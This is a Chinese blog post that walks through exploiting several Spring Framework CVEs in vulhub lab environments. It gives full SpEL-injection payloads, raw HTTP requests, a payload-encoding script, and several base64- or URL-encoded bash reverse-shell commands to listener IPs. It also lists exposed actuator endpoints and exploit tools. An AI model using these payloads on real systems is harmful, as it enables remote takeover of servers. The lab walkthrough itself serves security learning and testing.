目 录CONTENT

文章目录

Spring 框架漏洞

Administrator
2024-11-15 / 0 评论 / 0 点赞 / 9 阅读 / 0 字

一.Spring简介

Spring框架是一个开放源代码的J2EE应用程序框架,是针对bean的生命周期进行管理的轻量级容器。Spring可以单独应用于构筑应用程序,也可以和Struts、Webwork、Tapestry等众多Web框架组合使用,并且可以与 Swing等桌面应用程序AP组合。

Spring发展到现在,全家桶所包含的内容非常庞大,
这里主要介绍其中关键的5个部分:

1.Spring Framework
也就是我们经常说的spring框架,包括了ioc依赖注入,Context上下文、bean管理、springmvc等众多功能模块,其它spring项目比如spring boot也会依赖spring框架。

2.SpringBoot
它的目标是简化Spring应用和服务的创建、开发与部署,简化了配置文件,

使用嵌入式web服务器,含有诸多开箱即用的微服务功能,可以和spring cloud联合部署。
Spring Boot的核心思想是约定大于配置,应用只需要很少的配置即可,简化了应用开发模式。

3.Spring Data
是一个数据访问及操作的工具集,封装了多种数据源的操作能力,

包括:jdbc、Redis、MongoDB等。

4.Spring Cloud
是一套完整的微服务解决方案,是一系列不同功能的微服务框架的集合。Spring Cloud基于Spring Boot,简化了分布式系统的开发,集成了服务发现、配置管理、消息总线、负载均衡、断路器、数据监控等各种服务治理能力。比如sleuth提供了全链路追踪能力,Netflix套件提供了hystrix熔断器、zuul网关等众多的治理组件。config组件提供了动态配置能力,bus组件支持使用RabbitMQ、kafka、Activemq等消息队列,实现分布式服务之间的事件通信。

5.Spring Security
主要用于快速构建安全的应用程序和服务,在Spring Boot和Spring Security OAuth2的基础上,可以快速实现常见安全模型,如单点登录,令牌中继和令牌交换。你可以了解一下oauth2授权机制和jwt认证方式。oauth2是一种授权机制,规定了完备的授权、认证流程。JWT全称是JSON Web Token,是一种把认证信息包含在token中的认证实现,oauth2授权机制中就可以应用jwt来作为认证的具体实现方法。

二.CVE-2016-4977

Spring Security OAuth2 远程命令执行漏洞(CVE-2016-4977)

漏洞原理:

   Spring Security OAuth 是为 Spring 框架提供安全认证支持的一个模块。在其使用 whitelabel views 来处理错误时,由于使用了Springs Expression Language (SpEL),攻击者在被授权的情况下可以通过构造恶意参数来远程执行命令。

影响版本:

   Spring Security OAuth 2.0 – 2.0.9

   Spring Security OAuth 1.0 – 1.0.5

漏洞环境:vulhub/README.zh-cn.md at master · vulhub/vulhub (github.com)

靶场环境搭建成功之后,拼接路径payload来验证漏洞是否存在.

发现需要我们进行登录,这里根据弱口令admin/admin进行登录。

http://192.168.100.104:8080/oauth/authorize

执行命令: 2*2

http://192.168.100.104:8080/oauth/authorize?response_type=${2*2}&client_id=acme&scope=openid&redirect_uri=http://test

${ }里面的内容被解析并执行,说明我们可以利用反弹shell来进行远程命令执行.

在线生成编码后的反弹shell

https://forum.ywhack.com/shell.php

bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEwMC4xMDAvOTk5OSAwPiYx}|{base64,-d}|{bash,-i}

使用脚本生成payload

#!/usr/bin/env python
message = input('Enter message to encode:')
poc = '${T(java.lang.Runtime).getRuntime().exec(T(java.lang.Character).toString(%s)' % ord(message[0])
for ch in message[1:]:
    poc += '.concat(T(java.lang.Character).toString(%s))' % ord(ch)
poc += ')}'
print(poc)

把生成的sPel表达式放到刚刚的位置

http://192.168.100.104:8080/oauth/authorize?response_type=${payload}&client_id=acme&scope=openid&redirect_uri=http://test

http://192.168.100.104:8080/oauth/authorize?response_type=${${T(java.lang.Runtime).getRuntime().exec(T(java.lang.Character).toString(98).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(104)).concat(T(java.lang.Character).toString(32)).concat(T(java.lang.Character).toString(45)).concat(T(java.lang.Character).toString(99)).concat(T(java.lang.Character).toString(32)).concat(T(java.lang.Character).toString(123)).concat(T(java.lang.Character).toString(101)).concat(T(java.lang.Character).toString(99)).concat(T(java.lang.Character).toString(104)).concat(T(java.lang.Character).toString(111)).concat(T(java.lang.Character).toString(44)).concat(T(java.lang.Character).toString(89)).concat(T(java.lang.Character).toString(109)).concat(T(java.lang.Character).toString(70)).concat(T(java.lang.Character).toString(122)).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(67)).concat(T(java.lang.Character).toString(65)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(83)).concat(T(java.lang.Character).toString(65)).concat(T(java.lang.Character).toString(43)).concat(T(java.lang.Character).toString(74)).concat(T(java.lang.Character).toString(105)).concat(T(java.lang.Character).toString(65)).concat(T(java.lang.Character).toString(118)).concat(T(java.lang.Character).toString(90)).concat(T(java.lang.Character).toString(71)).concat(T(java.lang.Character).toString(86)).concat(T(java.lang.Character).toString(50)).concat(T(java.lang.Character).toString(76)).concat(T(java.lang.Character).toString(51)).concat(T(java.lang.Character).toString(82)).concat(T(java.lang.Character).toString(106)).concat(T(java.lang.Character).toString(99)).concat(T(java.lang.Character).toString(67)).concat(T(java.lang.Character).toString(56)).concat(T(java.lang.Character).toString(120)).concat(T(java.lang.Character).toString(79)).concat(T(java.lang.Character).toString(84)).concat(T(java.lang.Character).toString(73)).concat(T(java.lang.Character).toString(117)).concat(T(java.lang.Character).toString(77)).concat(T(java.lang.Character).toString(84)).concat(T(java.lang.Character).toString(89)).concat(T(java.lang.Character).toString(52)).concat(T(java.lang.Character).toString(76)).concat(T(java.lang.Character).toString(106)).concat(T(java.lang.Character).toString(69)).concat(T(java.lang.Character).toString(119)).concat(T(java.lang.Character).toString(77)).concat(T(java.lang.Character).toString(67)).concat(T(java.lang.Character).toString(52)).concat(T(java.lang.Character).toString(120)).concat(T(java.lang.Character).toString(77)).concat(T(java.lang.Character).toString(68)).concat(T(java.lang.Character).toString(65)).concat(T(java.lang.Character).toString(118)).concat(T(java.lang.Character).toString(79)).concat(T(java.lang.Character).toString(84)).concat(T(java.lang.Character).toString(107)).concat(T(java.lang.Character).toString(53)).concat(T(java.lang.Character).toString(79)).concat(T(java.lang.Character).toString(83)).concat(T(java.lang.Character).toString(65)).concat(T(java.lang.Character).toString(119)).concat(T(java.lang.Character).toString(80)).concat(T(java.lang.Character).toString(105)).concat(T(java.lang.Character).toString(89)).concat(T(java.lang.Character).toString(120)).concat(T(java.lang.Character).toString(125)).concat(T(java.lang.Character).toString(124)).concat(T(java.lang.Character).toString(123)).concat(T(java.lang.Character).toString(98)).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(101)).concat(T(java.lang.Character).toString(54)).concat(T(java.lang.Character).toString(52)).concat(T(java.lang.Character).toString(44)).concat(T(java.lang.Character).toString(45)).concat(T(java.lang.Character).toString(100)).concat(T(java.lang.Character).toString(125)).concat(T(java.lang.Character).toString(124)).concat(T(java.lang.Character).toString(123)).concat(T(java.lang.Character).toString(98)).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(104)).concat(T(java.lang.Character).toString(44)).concat(T(java.lang.Character).toString(45)).concat(T(java.lang.Character).toString(105)).concat(T(java.lang.Character).toString(125)))}}&client_id=acme&scope=openid&redirect_uri=http://test

执行payload

反弹shell已经收到了

三.CVE-2017-4971

/vulhub/spring/CVE-2017-4971

首先验证漏洞

然后点Revise

把这个POST的值后面添加poc

&_T(org.springframework.web.context.request.RequestContextHolder).getRequestAttributes().getResponse().addHeader("1_Ry","True").aaa=n1nty

验证漏洞,执行成功后会如图所示,在 HTTP 返回头部中会多出 1_Ry字段

反弹shell

反弹shell payload,注意里面的反弹shell语句是经过了url编码的

&_T(java.lang.Runtime).getRuntime().exec("/bin/bash+-c+$%40|bash+0+echo+bash+-i+>%26/dev/tcp/192.168.111.2/10010+0>%261")

这两种都可
&_(new+java.lang.ProcessBuilder("bash","-c","bash+-i+>%26+/dev/tcp/192.168.91.129/10010+0>%261")).start()=test

java.lang.ProcessBuilder 是 Java 标准库中的一个类,用于创建和管理操作系统进程。通过它,你可以在 Java 程序中运行外部命令或执行脚本。

它提供了更高级别的接口,与直接使用 Runtime.getRuntime().exec() 相比,功能更强大且更容易管理。

收到反弹shell

四.CVE-2022-22947

Spring Cloud Gateway Actuator API SpEL表达式注入命令执行(CVE-2022-22947)

漏洞原理:

   Spring Cloud Gateway是Spring中的一个API网关。其3.1.0及3.0.6版本(包含)以前存在一处SpEL表达式注入漏洞,当攻击者可以访问Actuator API的情况下,将可以利用该漏洞执行任意命令。

影响版本:

  Spring Cloud Gateway 3.1.0

  Spring Cloud Gateway 3.0.0 - 3.0.6

  Spring Cloud Gateway 其他已不再更新的版本

访问靶机

构造包含恶意请求的路由,利用BP进行发送:

POST /actuator/gateway/routes/aaa HTTP/1.1
Host: 192.168.100.104:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
Connection: close
Content-Type: application/json
Content-Length: 334

{
  "id": "aaa",
  "filters": [{
    "name": "AddResponseHeader",
    "args": {
      "name": "Result",
      "value": "#{new java.lang.String(T(org.springframework.util.StreamUtils).copyToByteArray(T(java.lang.Runtime).getRuntime().exec(new String[]{\"id\"}).getInputStream()))}"
    }
  }],
  "uri": "http://example.com"
}

刷新网关路由

有点慢

POST /actuator/gateway/refresh HTTP/1.1
Host: 192.168.100.104:8080
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/98.0.4758.102 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9

最后可以直接GET请求

image-stuo.png

GET /actuator/gateway/routes/aaa HTTP/1.1
Host: 192.168.100.104:8080
Pragma: no-cache
Cache-Control: no-cache
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close

反弹shell

POST /actuator/gateway/routes/bbb HTTP/1.1
Host: 192.168.100.104:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
Connection: close
Content-Type: application/json
Content-Length: 419

{
  "id": "bbb",
  "filters": [{
    "name": "AddResponseHeader",
    "args": {
      "name": "Result",
      "value": "#{new String(T(org.springframework.util.StreamUtils).copyToByteArray(T(java.lang.Runtime).getRuntime().exec(\"bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEwMC4xMDAvMTExMTEgMD4mMQ==}|{base64,-d}|{bash,-i}\").getInputStream()))}"
    }
  }],
  "uri": "http://192.168.100.104:8080/"
}

先在kali那边启用监听,再刷新网关路由。

POST /actuator/gateway/refresh HTTP/1.1
Host: 192.168.100.104:8080
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/98.0.4758.102 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9

五.CVE-2022-22963

Kali先开启监听,然后抓包发生。

POST /functionRouter HTTP/1.1
Host: 192.168.100.104:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
Connection: close
spring.cloud.function.routing-expression: T(java.lang.Runtime).getRuntime().exec("/bin/bash -c $@|bash 0 echo bash -i >&/dev/tcp/192.168.100.100/10000 0>&1")
Content-Type: text/plain
Content-Length: 4

test

收到shell

拓展

除了以上的漏洞以外,Spring最大的安全隐患就是/actuator的鉴权

不安全的 /actuator 配置可能会泄露以下类型的信息:

  • 环境变量/actuator/env): 包含系统环境变量和应用配置,例如数据库连接信息、API 密钥等。 示例

  • Beans 信息/actuator/beans): 列出应用程序中的所有 Bean 及其依赖关系,攻击者可以用来推测应用的内部结构。

  • 应用配置信息/actuator/configprops): 包括 Spring 的自动配置信息,可能暴露自定义配置或默认行为。

  • 日志级别/actuator/loggers): 攻击者可以根据日志级别调整攻击策略,甚至尝试伪造日志。

  • 健康状态/actuator/health): 如果暴露了详细健康检查,可能会显示数据库连接状态、磁盘使用情况等。

  • 线程堆栈/actuator/threaddump):暴露当前的线程状态和调用堆栈,可能会泄露用户活动信息或应用运行状态。

  • 堆内存转储/actuator/heapdump):允许下载 JVM 内存快照,其中可能包含敏感数据(如用户会话信息)。

  • 执行的任务信息/actuator/scheduledtasks):显示应用中调度任务的详细信息。

  • 路由信息/actuator/mappings):暴露所有 HTTP 路由及其处理器,可能让攻击者更容易识别潜在目标。

附属工具

SpringBoot-Scan

https://github.com/AabyssZG/SpringBoot-Scan

SpringExploitGUI

https://github.com/charonlight/SpringExploitGUI

visualvm

多合一故障处理工具,功能比较全面的一个工具

通过 VisualVM,可以对 Spring 应用的以下内容进行深入分析,从而发现潜在漏洞:

  1. 线程堆栈:检测死锁、线程池配置问题。

  2. 内存使用:发现内存泄漏或敏感数据。

  3. 性能瓶颈:定位慢方法或资源耗尽点。

  4. GC 活动:分析对象创建和销毁的合理性。

  5. 配置和日志:检查配置类和日志级别是否暴露敏感信息。

-.-

0

评论区